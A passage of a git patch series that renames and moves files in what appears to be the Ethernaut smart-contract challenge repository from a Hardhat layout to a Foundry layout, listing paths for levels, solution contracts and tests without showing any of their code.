a/contracts/contracts/levels/DoubleEntryPointFactory.sol b/contracts_hardhat/contracts/levels/DoubleEntryPointFactory.sol similarity index 100% rename from contracts/contracts/levels/DoubleEntryPointFactory.sol rename to contracts_hardhat/contracts/levels/DoubleEntryPointFactory.sol diff --git a/contracts/contracts/levels/Dummy.sol b/contracts_hardhat/contracts/levels/Dummy.sol similarity index 100% rename from contracts/contracts/levels/Dummy.sol rename to contracts_hardhat/contracts/levels/Dummy.sol diff --git a/contracts/contracts/levels/DummyFactory.sol b/contracts_hardhat/contracts/levels/DummyFactory.sol similarity index 100% rename from contracts/contracts/levels/DummyFactory.sol rename to contracts_hardhat/contracts/levels/DummyFactory.sol diff --git a/contracts/contracts/levels/Elevator.sol b/contracts_hardhat/contracts/levels/Elevator.sol similarity index 100% rename from contracts/contracts/levels/Elevator.sol rename to contracts_hardhat/contracts/levels/Elevator.sol diff --git a/contracts/contracts/levels/ElevatorFactory.sol b/contracts_hardhat/contracts/levels/ElevatorFactory.sol similarity index 100% rename from contracts/contracts/levels/ElevatorFactory.sol rename to contracts_hardhat/contracts/levels/ElevatorFactory.sol diff --git a/contracts/contracts/levels/Fallback.sol b/contracts_hardhat/contracts/levels/Fallback.sol similarity index 100% rename from contracts/contracts/levels/Fallback.sol rename to contracts_hardhat/contracts/levels/Fallback.sol diff --git a/contracts/contracts/levels/FallbackFactory.sol b/contracts_hardhat/contracts/levels/FallbackFactory.sol similarity index 100% rename from contracts/contracts/levels/FallbackFactory.sol rename to contracts_hardhat/contracts/levels/FallbackFactory.sol diff --git a/contracts/contracts/levels/Fallout.sol b/contracts_hardhat/contracts/levels/Fallout.sol similarity index 100% rename from contracts/contracts/levels/Fallout.sol rename to contracts_hardhat/contracts/levels/Fallout.sol diff --git a/contracts/contracts/levels/FalloutFactory.sol b/contracts_hardhat/contracts/levels/FalloutFactory.sol similarity index 100% rename from contracts/contracts/levels/FalloutFactory.sol rename to contracts_hardhat/contracts/levels/FalloutFactory.sol diff --git a/contracts/contracts/levels/Force.sol b/contracts_hardhat/contracts/levels/Force.sol similarity index 100% rename from contracts/contracts/levels/Force.sol rename to contracts_hardhat/contracts/levels/Force.sol diff --git a/contracts/contracts/levels/ForceFactory.sol b/contracts_hardhat/contracts/levels/ForceFactory.sol similarity index 100% rename from contracts/contracts/levels/ForceFactory.sol rename to contracts_hardhat/contracts/levels/ForceFactory.sol diff --git a/contracts/contracts/levels/GatekeeperOne.sol b/contracts_hardhat/contracts/levels/GatekeeperOne.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperOne.sol rename to contracts_hardhat/contracts/levels/GatekeeperOne.sol diff --git a/contracts/contracts/levels/GatekeeperOneFactory.sol b/contracts_hardhat/contracts/levels/GatekeeperOneFactory.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperOneFactory.sol rename to contracts_hardhat/contracts/levels/GatekeeperOneFactory.sol diff --git a/contracts/contracts/levels/GatekeeperThree.sol b/contracts_hardhat/contracts/levels/GatekeeperThree.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperThree.sol rename to contracts_hardhat/contracts/levels/GatekeeperThree.sol diff --git a/contracts/contracts/levels/GatekeeperThreeFactory.sol b/contracts_hardhat/contracts/levels/GatekeeperThreeFactory.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperThreeFactory.sol rename to contracts_hardhat/contracts/levels/GatekeeperThreeFactory.sol diff --git a/contracts/contracts/levels/GatekeeperTwo.sol b/contracts_hardhat/contracts/levels/GatekeeperTwo.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperTwo.sol rename to contracts_hardhat/contracts/levels/GatekeeperTwo.sol diff --git a/contracts/contracts/levels/GatekeeperTwoFactory.sol b/contracts_hardhat/contracts/levels/GatekeeperTwoFactory.sol similarity index 100% rename from contracts/contracts/levels/GatekeeperTwoFactory.sol rename to contracts_hardhat/contracts/levels/GatekeeperTwoFactory.sol diff --git a/contracts/contracts/levels/GoodSamaritan.sol b/contracts_hardhat/contracts/levels/GoodSamaritan.sol similarity index 100% rename from contracts/contracts/levels/GoodSamaritan.sol rename to contracts_hardhat/contracts/levels/GoodSamaritan.sol diff --git a/contracts/contracts/levels/GoodSamaritanFactory.sol b/contracts_hardhat/contracts/levels/GoodSamaritanFactory.sol similarity index 100% rename from contracts/contracts/levels/GoodSamaritanFactory.sol rename to contracts_hardhat/contracts/levels/GoodSamaritanFactory.sol diff --git a/contracts/contracts/levels/Instance.sol b/contracts_hardhat/contracts/levels/Instance.sol similarity index 100% rename from contracts/contracts/levels/Instance.sol rename to contracts_hardhat/contracts/levels/Instance.sol diff --git a/contracts/contracts/levels/InstanceFactory.sol b/contracts_hardhat/contracts/levels/InstanceFactory.sol similarity index 100% rename from contracts/contracts/levels/InstanceFactory.sol rename to contracts_hardhat/contracts/levels/InstanceFactory.sol diff --git a/contracts/contracts/levels/King.sol b/contracts_hardhat/contracts/levels/King.sol similarity index 100% rename from contracts/contracts/levels/King.sol rename to contracts_hardhat/contracts/levels/King.sol diff --git a/contracts/contracts/levels/KingFactory.sol b/contracts_hardhat/contracts/levels/KingFactory.sol similarity index 100% rename from contracts/contracts/levels/KingFactory.sol rename to contracts_hardhat/contracts/levels/KingFactory.sol diff --git a/contracts/contracts/levels/MagicNum.sol b/contracts_hardhat/contracts/levels/MagicNum.sol similarity index 100% rename from contracts/contracts/levels/MagicNum.sol rename to contracts_hardhat/contracts/levels/MagicNum.sol diff --git a/contracts/contracts/levels/MagicNumFactory.sol b/contracts_hardhat/contracts/levels/MagicNumFactory.sol similarity index 100% rename from contracts/contracts/levels/MagicNumFactory.sol rename to contracts_hardhat/contracts/levels/MagicNumFactory.sol diff --git a/contracts/contracts/levels/Motorbike.sol b/contracts_hardhat/contracts/levels/Motorbike.sol similarity index 100% rename from contracts/contracts/levels/Motorbike.sol rename to contracts_hardhat/contracts/levels/Motorbike.sol diff --git a/contracts/contracts/levels/MotorbikeFactory.sol b/contracts_hardhat/contracts/levels/MotorbikeFactory.sol similarity index 100% rename from contracts/contracts/levels/MotorbikeFactory.sol rename to contracts_hardhat/contracts/levels/MotorbikeFactory.sol diff --git a/contracts/contracts/levels/NaughtCoin.sol b/contracts_hardhat/contracts/levels/NaughtCoin.sol similarity index 100% rename from contracts/contracts/levels/NaughtCoin.sol rename to contracts_hardhat/contracts/levels/NaughtCoin.sol diff --git a/contracts/contracts/levels/NaughtCoinFactory.sol b/contracts_hardhat/contracts/levels/NaughtCoinFactory.sol similarity index 100% rename from contracts/contracts/levels/NaughtCoinFactory.sol rename to contracts_hardhat/contracts/levels/NaughtCoinFactory.sol diff --git a/contracts/contracts/levels/Preservation.sol b/contracts_hardhat/contracts/levels/Preservation.sol similarity index 100% rename from contracts/contracts/levels/Preservation.sol rename to contracts_hardhat/contracts/levels/Preservation.sol diff --git a/contracts/contracts/levels/PreservationFactory.sol b/contracts_hardhat/contracts/levels/PreservationFactory.sol similarity index 100% rename from contracts/contracts/levels/PreservationFactory.sol rename to contracts_hardhat/contracts/levels/PreservationFactory.sol diff --git a/contracts/contracts/levels/Privacy.sol b/contracts_hardhat/contracts/levels/Privacy.sol similarity index 100% rename from contracts/contracts/levels/Privacy.sol rename to contracts_hardhat/contracts/levels/Privacy.sol diff --git a/contracts/contracts/levels/PrivacyFactory.sol b/contracts_hardhat/contracts/levels/PrivacyFactory.sol similarity index 100% rename from contracts/contracts/levels/PrivacyFactory.sol rename to contracts_hardhat/contracts/levels/PrivacyFactory.sol diff --git a/contracts/contracts/levels/PuzzleWallet.sol b/contracts_hardhat/contracts/levels/PuzzleWallet.sol similarity index 100% rename from contracts/contracts/levels/PuzzleWallet.sol rename to contracts_hardhat/contracts/levels/PuzzleWallet.sol diff --git a/contracts/contracts/levels/PuzzleWalletFactory.sol b/contracts_hardhat/contracts/levels/PuzzleWalletFactory.sol similarity index 100% rename from contracts/contracts/levels/PuzzleWalletFactory.sol rename to contracts_hardhat/contracts/levels/PuzzleWalletFactory.sol diff --git a/contracts/contracts/levels/Recovery.sol b/contracts_hardhat/contracts/levels/Recovery.sol similarity index 100% rename from contracts/contracts/levels/Recovery.sol rename to contracts_hardhat/contracts/levels/Recovery.sol diff --git a/contracts/contracts/levels/RecoveryFactory.sol b/contracts_hardhat/contracts/levels/RecoveryFactory.sol similarity index 100% rename from contracts/contracts/levels/RecoveryFactory.sol rename to contracts_hardhat/contracts/levels/RecoveryFactory.sol diff --git a/contracts/contracts/levels/RecoverySimpleToken.sol b/contracts_hardhat/contracts/levels/RecoverySimpleToken.sol similarity index 100% rename from contracts/contracts/levels/RecoverySimpleToken.sol rename to contracts_hardhat/contracts/levels/RecoverySimpleToken.sol diff --git a/contracts/contracts/levels/Reentrance.sol b/contracts_hardhat/contracts/levels/Reentrance.sol similarity index 100% rename from contracts/contracts/levels/Reentrance.sol rename to contracts_hardhat/contracts/levels/Reentrance.sol diff --git a/contracts/contracts/levels/ReentranceFactory.sol b/contracts_hardhat/contracts/levels/ReentranceFactory.sol similarity index 100% rename from contracts/contracts/levels/ReentranceFactory.sol rename to contracts_hardhat/contracts/levels/ReentranceFactory.sol diff --git a/contracts/contracts/levels/Shop.sol b/contracts_hardhat/contracts/levels/Shop.sol similarity index 100% rename from contracts/contracts/levels/Shop.sol rename to contracts_hardhat/contracts/levels/Shop.sol diff --git a/contracts/contracts/levels/ShopFactory.sol b/contracts_hardhat/contracts/levels/ShopFactory.sol similarity index 100% rename from contracts/contracts/levels/ShopFactory.sol rename to contracts_hardhat/contracts/levels/ShopFactory.sol diff --git a/contracts/contracts/levels/Switch.sol b/contracts_hardhat/contracts/levels/Switch.sol similarity index 100% rename from contracts/contracts/levels/Switch.sol rename to contracts_hardhat/contracts/levels/Switch.sol diff --git a/contracts/contracts/levels/SwitchFactory.sol b/contracts_hardhat/contracts/levels/SwitchFactory.sol similarity index 100% rename from contracts/contracts/levels/SwitchFactory.sol rename to contracts_hardhat/contracts/levels/SwitchFactory.sol diff --git a/contracts/contracts/levels/Telephone.sol b/contracts_hardhat/contracts/levels/Telephone.sol similarity index 100% rename from contracts/contracts/levels/Telephone.sol rename to contracts_hardhat/contracts/levels/Telephone.sol diff --git a/contracts/contracts/levels/TelephoneFactory.sol b/contracts_hardhat/contracts/levels/TelephoneFactory.sol similarity index 100% rename from contracts/contracts/levels/TelephoneFactory.sol rename to contracts_hardhat/contracts/levels/TelephoneFactory.sol diff --git a/contracts/contracts/levels/Token.sol b/contracts_hardhat/contracts/levels/Token.sol similarity index 100% rename from contracts/contracts/levels/Token.sol rename to contracts_hardhat/contracts/levels/Token.sol diff --git a/contracts/contracts/levels/TokenFactory.sol b/contracts_hardhat/contracts/levels/TokenFactory.sol similarity index 100% rename from contracts/contracts/levels/TokenFactory.sol rename to contracts_hardhat/contracts/levels/TokenFactory.sol diff --git a/contracts/contracts/levels/Vault.sol b/contracts_hardhat/contracts/levels/Vault.sol similarity index 100% rename from contracts/contracts/levels/Vault.sol rename to contracts_hardhat/contracts/levels/Vault.sol diff --git a/contracts/contracts/levels/VaultFactory.sol b/contracts_hardhat/contracts/levels/VaultFactory.sol similarity index 100% rename from contracts/contracts/levels/VaultFactory.sol rename to contracts_hardhat/contracts/levels/VaultFactory.sol diff --git a/contracts/contracts/levels/base/Level-05.sol b/contracts_hardhat/contracts/levels/base/Level-05.sol similarity index 100% rename from contracts/contracts/levels/base/Level-05.sol rename to contracts_hardhat/contracts/levels/base/Level-05.sol diff --git a/contracts/contracts/levels/base/Level-06.sol b/contracts_hardhat/contracts/levels/base/Level-06.sol similarity index 100% rename from contracts/contracts/levels/base/Level-06.sol rename to contracts_hardhat/contracts/levels/base/Level-06.sol diff --git a/contracts/contracts/levels/base/Level-08.sol b/contracts_hardhat/contracts/levels/base/Level-08.sol similarity index 100% rename from contracts/contracts/levels/base/Level-08.sol rename to contracts_hardhat/contracts/levels/base/Level-08.sol diff --git a/contracts/contracts/levels/base/Level.sol b/contracts_hardhat/contracts/levels/base/Level.sol similarity index 100% rename from contracts/contracts/levels/base/Level.sol rename to contracts_hardhat/contracts/levels/base/Level.sol diff --git a/contracts/contracts/metrics/Statistics.sol b/contracts_hardhat/contracts/metrics/Statistics.sol similarity index 100% rename from contracts/contracts/metrics/Statistics.sol rename to contracts_hardhat/contracts/metrics/Statistics.sol diff --git a/contracts/contracts/metrics/StatisticsLevelSuperseder.sol b/contracts_hardhat/contracts/metrics/StatisticsLevelSuperseder.sol similarity index 100% rename from contracts/contracts/metrics/StatisticsLevelSuperseder.sol rename to contracts_hardhat/contracts/metrics/StatisticsLevelSuperseder.sol diff --git a/contracts/contracts/proxy/ProxyAdmin.sol b/contracts_hardhat/contracts/proxy/ProxyAdmin.sol similarity index 100% rename from contracts/contracts/proxy/ProxyAdmin.sol rename to contracts_hardhat/contracts/proxy/ProxyAdmin.sol diff --git a/contracts/contracts/proxy/ProxyStats.sol b/contracts_hardhat/contracts/proxy/ProxyStats.sol similarity index 100% rename from contracts/contracts/proxy/ProxyStats.sol rename to contracts_hardhat/contracts/proxy/ProxyStats.sol diff --git a/contracts/hardhat.config.js b/contracts_hardhat/hardhat.config.js similarity index 100% rename from contracts/hardhat.config.js rename to contracts_hardhat/hardhat.config.js diff --git a/contracts/out/Ethernaut_flat.sol b/contracts_hardhat/out/Ethernaut_flat.sol similarity index 100% rename from contracts/out/Ethernaut_flat.sol rename to contracts_hardhat/out/Ethernaut_flat.sol diff --git a/contracts/out/ProxyStats_flat.sol b/contracts_hardhat/out/ProxyStats_flat.sol similarity index 100% rename from contracts/out/ProxyStats_flat.sol rename to contracts_hardhat/out/ProxyStats_flat.sol diff --git a/contracts/out/Statistics_flat.sol b/contracts_hardhat/out/Statistics_flat.sol similarity index 100% rename from contracts/out/Statistics_flat.sol rename to contracts_hardhat/out/Statistics_flat.sol diff --git a/contracts/package.json b/contracts_hardhat/package.json similarity index 100% rename from contracts/package.json rename to contracts_hardhat/package.json diff --git a/contracts/test/EthernautTests.js b/contracts_hardhat/test/EthernautTests.js similarity index 100% rename from contracts/test/EthernautTests.js rename to contracts_hardhat/test/EthernautTests.js diff --git a/contracts/test/levels/AlienCodex.test.js b/contracts_hardhat/test/levels/AlienCodex.test.js similarity index 100% rename from contracts/test/levels/AlienCodex.test.js rename to contracts_hardhat/test/levels/AlienCodex.test.js diff --git a/contracts/test/levels/CoinFlip.test.js b/contracts_hardhat/test/levels/CoinFlip.test.js similarity index 100% rename from contracts/test/levels/CoinFlip.test.js rename to contracts_hardhat/test/levels/CoinFlip.test.js diff --git a/contracts/test/levels/Delegation.test.js b/contracts_hardhat/test/levels/Delegation.test.js similarity index 100% rename from contracts/test/levels/Delegation.test.js rename to contracts_hardhat/test/levels/Delegation.test.js diff --git a/contracts/test/levels/Denial.test.js b/contracts_hardhat/test/levels/Denial.test.js similarity index 100% rename from contracts/test/levels/Denial.test.js rename to contracts_hardhat/test/levels/Denial.test.js diff --git a/contracts/test/levels/Dex.test.js b/contracts_hardhat/test/levels/Dex.test.js similarity index 100% rename from contracts/test/levels/Dex.test.js rename to contracts_hardhat/test/levels/Dex.test.js diff --git a/contracts/test/levels/DexTwo.test.js b/contracts_hardhat/test/levels/DexTwo.test.js similarity index 100% rename from contracts/test/levels/DexTwo.test.js rename to contracts_hardhat/test/levels/DexTwo.test.js diff --git a/contracts/test/levels/DoubleEntryPoint.test.js b/contracts_hardhat/test/levels/DoubleEntryPoint.test.js similarity index 100% rename from contracts/test/levels/DoubleEntryPoint.test.js rename to contracts_hardhat/test/levels/DoubleEntryPoint.test.js diff --git a/contracts/test/levels/Elevator.test.js b/contracts_hardhat/test/levels/Elevator.test.js similarity index 100% rename from contracts/test/levels/Elevator.test.js rename to contracts_hardhat/test/levels/Elevator.test.js diff --git a/contracts/test/levels/Fallback.test.js b/contracts_hardhat/test/levels/Fallback.test.js similarity index 100% rename from contracts/test/levels/Fallback.test.js rename to contracts_hardhat/test/levels/Fallback.test.js diff --git a/contracts/test/levels/Fallout.test.js b/contracts_hardhat/test/levels/Fallout.test.js similarity index 100% rename from contracts/test/levels/Fallout.test.js rename to contracts_hardhat/test/levels/Fallout.test.js diff --git a/contracts/test/levels/Force.test.js b/contracts_hardhat/test/levels/Force.test.js similarity index 100% rename from contracts/test/levels/Force.test.js rename to contracts_hardhat/test/levels/Force.test.js diff --git a/contracts/test/levels/Gatekeeper.test.js b/contracts_hardhat/test/levels/Gatekeeper.test.js similarity index 100% rename from contracts/test/levels/Gatekeeper.test.js rename to contracts_hardhat/test/levels/Gatekeeper.test.js diff --git a/contracts/test/levels/GatekeeperThree.test.js b/contracts_hardhat/test/levels/GatekeeperThree.test.js similarity index 100% rename from contracts/test/levels/GatekeeperThree.test.js rename to contracts_hardhat/test/levels/GatekeeperThree.test.js diff --git a/contracts/test/levels/GoodSamaritan.test.js b/contracts_hardhat/test/levels/GoodSamaritan.test.js similarity index 100% rename from contracts/test/levels/GoodSamaritan.test.js rename to contracts_hardhat/test/levels/GoodSamaritan.test.js diff --git a/contracts/test/levels/Instance.test.js b/contracts_hardhat/test/levels/Instance.test.js similarity index 100% rename from contracts/test/levels/Instance.test.js rename to contracts_hardhat/test/levels/Instance.test.js diff --git a/contracts/test/levels/King.test.js b/contracts_hardhat/test/levels/King.test.js similarity index 100% rename from contracts/test/levels/King.test.js rename to contracts_hardhat/test/levels/King.test.js diff --git a/contracts/test/levels/MagicNum.test.js b/contracts_hardhat/test/levels/MagicNum.test.js similarity index 100% rename from contracts/test/levels/MagicNum.test.js rename to contracts_hardhat/test/levels/MagicNum.test.js diff --git a/contracts/test/levels/Motorbike.test.js b/contracts_hardhat/test/levels/Motorbike.test.js similarity index 100% rename from contracts/test/levels/Motorbike.test.js rename to contracts_hardhat/test/levels/Motorbike.test.js diff --git a/contracts/test/levels/NaughtCoin.test.js b/contracts_hardhat/test/levels/NaughtCoin.test.js similarity index 100% rename from contracts/test/levels/NaughtCoin.test.js rename to contracts_hardhat/test/levels/NaughtCoin.test.js diff --git a/contracts/test/levels/Preservation.test.js b/contracts_hardhat/test/levels/Preservation.test.js similarity index 100% rename from contracts/test/levels/Preservation.test.js rename to contracts_hardhat/test/levels/Preservation.test.js diff --git a/contracts/test/levels/Privacy.test.js b/contracts_hardhat/test/levels/Privacy.test.js similarity index 100% rename from contracts/test/levels/Privacy.test.js rename to contracts_hardhat/test/levels/Privacy.test.js diff --git a/contracts/test/levels/PuzzleWallet.test.js b/contracts_hardhat/test/levels/PuzzleWallet.test.js similarity index 100% rename from contracts/test/levels/PuzzleWallet.test.js rename to contracts_hardhat/test/levels/PuzzleWallet.test.js diff --git a/contracts/test/levels/Recovery.test.js b/contracts_hardhat/test/levels/Recovery.test.js similarity index 100% rename from contracts/test/levels/Recovery.test.js rename to contracts_hardhat/test/levels/Recovery.test.js diff --git a/contracts/test/levels/Reentrance.test.js b/contracts_hardhat/test/levels/Reentrance.test.js similarity index 100% rename from contracts/test/levels/Reentrance.test.js rename to contracts_hardhat/test/levels/Reentrance.test.js diff --git a/contracts/test/levels/Shop.test.js b/contracts_hardhat/test/levels/Shop.test.js similarity index 100% rename from contracts/test/levels/Shop.test.js rename to contracts_hardhat/test/levels/Shop.test.js diff --git a/contracts/test/levels/Switch.test.js b/contracts_hardhat/test/levels/Switch.test.js similarity index 100% rename from contracts/test/levels/Switch.test.js rename to contracts_hardhat/test/levels/Switch.test.js diff --git a/contracts/test/levels/Telephone.test.js b/contracts_hardhat/test/levels/Telephone.test.js similarity index 100% rename from contracts/test/levels/Telephone.test.js rename to contracts_hardhat/test/levels/Telephone.test.js diff --git a/contracts/test/levels/Token.test.js b/contracts_hardhat/test/levels/Token.test.js similarity index 100% rename from contracts/test/levels/Token.test.js rename to contracts_hardhat/test/levels/Token.test.js diff --git a/contracts/test/levels/Vault.test.js b/contracts_hardhat/test/levels/Vault.test.js similarity index 100% rename from contracts/test/levels/Vault.test.js rename to contracts_hardhat/test/levels/Vault.test.js diff --git a/contracts/test/metrics/leaderboard.test.js b/contracts_hardhat/test/metrics/leaderboard.test.js similarity index 100% rename from contracts/test/metrics/leaderboard.test.js rename to contracts_hardhat/test/metrics/leaderboard.test.js diff --git a/contracts/test/metrics/level.test.js b/contracts_hardhat/test/metrics/level.test.js similarity index 100% rename from contracts/test/metrics/level.test.js rename to contracts_hardhat/test/metrics/level.test.js diff --git a/contracts/test/metrics/player.test.js b/contracts_hardhat/test/metrics/player.test.js similarity index 100% rename from contracts/test/metrics/player.test.js rename to contracts_hardhat/test/metrics/player.test.js diff --git a/contracts/test/utils/TestUtils.js b/contracts_hardhat/test/utils/TestUtils.js similarity index 100% rename from contracts/test/utils/TestUtils.js rename to contracts_hardhat/test/utils/TestUtils.js From f35c5725ba1b5d0b7075ea253dfeb8731d2f2315 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 13:17:36 -0500 Subject: [PATCH 02/35] =?UTF-8?q?=F0=9F=93=8C=20foundry=20openzeppelin=20m?= =?UTF-8?q?ultiple=20dependencies?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitmodules | 6 ++++++ contracts/foundry.toml | 8 +++++--- contracts/lib/openzeppelin-contracts-06 | 1 + contracts/lib/openzeppelin-contracts-08 | 1 + contracts/src/Counter.sol | 14 -------------- .../contracts => contracts/src}/Ethernaut.sol | 0 .../src}/attacks/AlienCodexAttack.sol | 0 .../src}/attacks/CoinFlipAttack.sol | 0 .../src}/attacks/DenialAttack.sol | 0 .../src}/attacks/DetectionBot.sol | 0 .../src}/attacks/DexTwoAttack.sol | 0 .../src}/attacks/ElevatorAttack.sol | 0 .../src}/attacks/ForceAttack.sol | 0 .../src}/attacks/GatekeeperOneAttack.sol | 0 .../src}/attacks/GatekeeperThreeAttack.sol | 0 .../src}/attacks/GatekeeperTwoAttack.sol | 0 .../src}/attacks/GoodSamaritanAttack.sol | 0 .../src}/attacks/KingAttack.sol | 0 .../src}/attacks/MagicNumBadSolver.sol | 0 .../src}/attacks/MagicNumSolver.sol | 0 .../src}/attacks/Manufactured.sol | 0 .../src}/attacks/MotorbikeAttack.sol | 0 .../src}/attacks/NaughtCoinAttack.sol | 0 .../src}/attacks/PreservationAttack.sol | 0 .../src}/attacks/ReentranceAttack.sol | 0 .../src}/attacks/ShopAttack.sol | 0 .../src}/attacks/TelephoneAttack.sol | 0 .../src}/attacks/VaultAttack.sol | 0 .../src}/factory/LocalFactory.sol | 0 .../src}/helpers/Ownable-05.sol | 0 .../src}/helpers/UpgradeableProxy-08.sol | 0 .../src}/levels/AlienCodex.sol | 0 .../src}/levels/AlienCodexFactory.sol | 0 .../src}/levels/CoinFlip.sol | 0 .../src}/levels/CoinFlipFactory.sol | 0 .../src}/levels/Delegation.sol | 0 .../src}/levels/DelegationFactory.sol | 0 .../contracts => contracts/src}/levels/Denial.sol | 0 .../src}/levels/DenialFactory.sol | 0 .../contracts => contracts/src}/levels/Dex.sol | 0 .../src}/levels/DexFactory.sol | 0 .../contracts => contracts/src}/levels/DexTwo.sol | 0 .../src}/levels/DexTwoFactory.sol | 0 .../src}/levels/DoubleEntryPoint.sol | 0 .../src}/levels/DoubleEntryPointFactory.sol | 0 .../contracts => contracts/src}/levels/Dummy.sol | 0 .../src}/levels/DummyFactory.sol | 0 .../src}/levels/Elevator.sol | 0 .../src}/levels/ElevatorFactory.sol | 0 .../src}/levels/Fallback.sol | 0 .../src}/levels/FallbackFactory.sol | 0 .../contracts => contracts/src}/levels/Fallout.sol | 0 .../src}/levels/FalloutFactory.sol | 0 .../contracts => contracts/src}/levels/Force.sol | 0 .../src}/levels/ForceFactory.sol | 0 .../src}/levels/GatekeeperOne.sol | 0 .../src}/levels/GatekeeperOneFactory.sol | 0 .../src}/levels/GatekeeperThree.sol | 0 .../src}/levels/GatekeeperThreeFactory.sol | 0 .../src}/levels/GatekeeperTwo.sol | 0 .../src}/levels/GatekeeperTwoFactory.sol | 0 .../src}/levels/GoodSamaritan.sol | 0 .../src}/levels/GoodSamaritanFactory.sol | 0 .../src}/levels/Instance.sol | 0 .../src}/levels/InstanceFactory.sol | 0 .../contracts => contracts/src}/levels/King.sol | 0 .../src}/levels/KingFactory.sol | 0 .../src}/levels/MagicNum.sol | 0 .../src}/levels/MagicNumFactory.sol | 0 .../src}/levels/Motorbike.sol | 0 .../src}/levels/MotorbikeFactory.sol | 0 .../src}/levels/NaughtCoin.sol | 0 .../src}/levels/NaughtCoinFactory.sol | 0 .../src}/levels/Preservation.sol | 0 .../src}/levels/PreservationFactory.sol | 0 .../contracts => contracts/src}/levels/Privacy.sol | 0 .../src}/levels/PrivacyFactory.sol | 0 .../src}/levels/PuzzleWallet.sol | 0 .../src}/levels/PuzzleWalletFactory.sol | 0 .../src}/levels/Recovery.sol | 0 .../src}/levels/RecoveryFactory.sol | 0 .../src}/levels/RecoverySimpleToken.sol | 0 .../src}/levels/Reentrance.sol | 0 .../src}/levels/ReentranceFactory.sol | 0 .../contracts => contracts/src}/levels/Shop.sol | 0 .../src}/levels/ShopFactory.sol | 0 .../contracts => contracts/src}/levels/Switch.sol | 0 .../src}/levels/SwitchFactory.sol | 0 .../src}/levels/Telephone.sol | 0 .../src}/levels/TelephoneFactory.sol | 0 .../contracts => contracts/src}/levels/Token.sol | 0 .../src}/levels/TokenFactory.sol | 0 .../contracts => contracts/src}/levels/Vault.sol | 0 .../src}/levels/VaultFactory.sol | 0 .../src}/levels/base/Level-05.sol | 0 .../src}/levels/base/Level-06.sol | 0 .../src}/levels/base/Level-08.sol | 0 .../src}/levels/base/Level.sol | 0 .../src}/metrics/Statistics.sol | 0 .../src}/metrics/StatisticsLevelSuperseder.sol | 0 .../src}/proxy/ProxyAdmin.sol | 0 .../src}/proxy/ProxyStats.sol | 0 .../test/EthernautTests.js | 0 .../test/levels/AlienCodex.test.js | 0 .../test/levels/CoinFlip.test.js | 0 .../test/levels/Delegation.test.js | 0 .../test/levels/Denial.test.js | 0 .../test/levels/Dex.test.js | 0 .../test/levels/DexTwo.test.js | 0 .../test/levels/DoubleEntryPoint.test.js | 0 .../test/levels/Elevator.test.js | 0 .../test/levels/Fallback.test.js | 0 .../test/levels/Fallout.test.js | 0 .../test/levels/Force.test.js | 0 .../test/levels/Gatekeeper.test.js | 0 .../test/levels/GatekeeperThree.test.js | 0 .../test/levels/GoodSamaritan.test.js | 0 .../test/levels/Instance.test.js | 0 .../test/levels/King.test.js | 0 .../test/levels/MagicNum.test.js | 0 .../test/levels/Motorbike.test.js | 0 .../test/levels/NaughtCoin.test.js | 0 .../test/levels/Preservation.test.js | 0 .../test/levels/Privacy.test.js | 0 .../test/levels/PuzzleWallet.test.js | 0 .../test/levels/Recovery.test.js | 0 .../test/levels/Reentrance.test.js | 0 .../test/levels/Shop.test.js | 0 .../test/levels/Switch.test.js | 0 .../test/levels/Telephone.test.js | 0 .../test/levels/Token.test.js | 0 .../test/levels/Vault.test.js | 0 .../test/metrics/leaderboard.test.js | 0 .../test/metrics/level.test.js | 0 .../test/metrics/player.test.js | 0 .../test/utils/TestUtils.js | 0 136 files changed, 13 insertions(+), 17 deletions(-) create mode 160000 contracts/lib/openzeppelin-contracts-06 create mode 160000 contracts/lib/openzeppelin-contracts-08 delete mode 100644 contracts/src/Counter.sol rename {contracts_hardhat/contracts => contracts/src}/Ethernaut.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/AlienCodexAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/CoinFlipAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/DenialAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/DetectionBot.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/DexTwoAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/ElevatorAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/ForceAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/GatekeeperOneAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/GatekeeperThreeAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/GatekeeperTwoAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/GoodSamaritanAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/KingAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/MagicNumBadSolver.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/MagicNumSolver.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/Manufactured.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/MotorbikeAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/NaughtCoinAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/PreservationAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/ReentranceAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/ShopAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/TelephoneAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/attacks/VaultAttack.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/factory/LocalFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/helpers/Ownable-05.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/helpers/UpgradeableProxy-08.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/AlienCodex.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/AlienCodexFactory.sol (100%) rename {contracts_hardhat/contracts => contracts/src}/levels/CoinFlip.sol (100%) rename 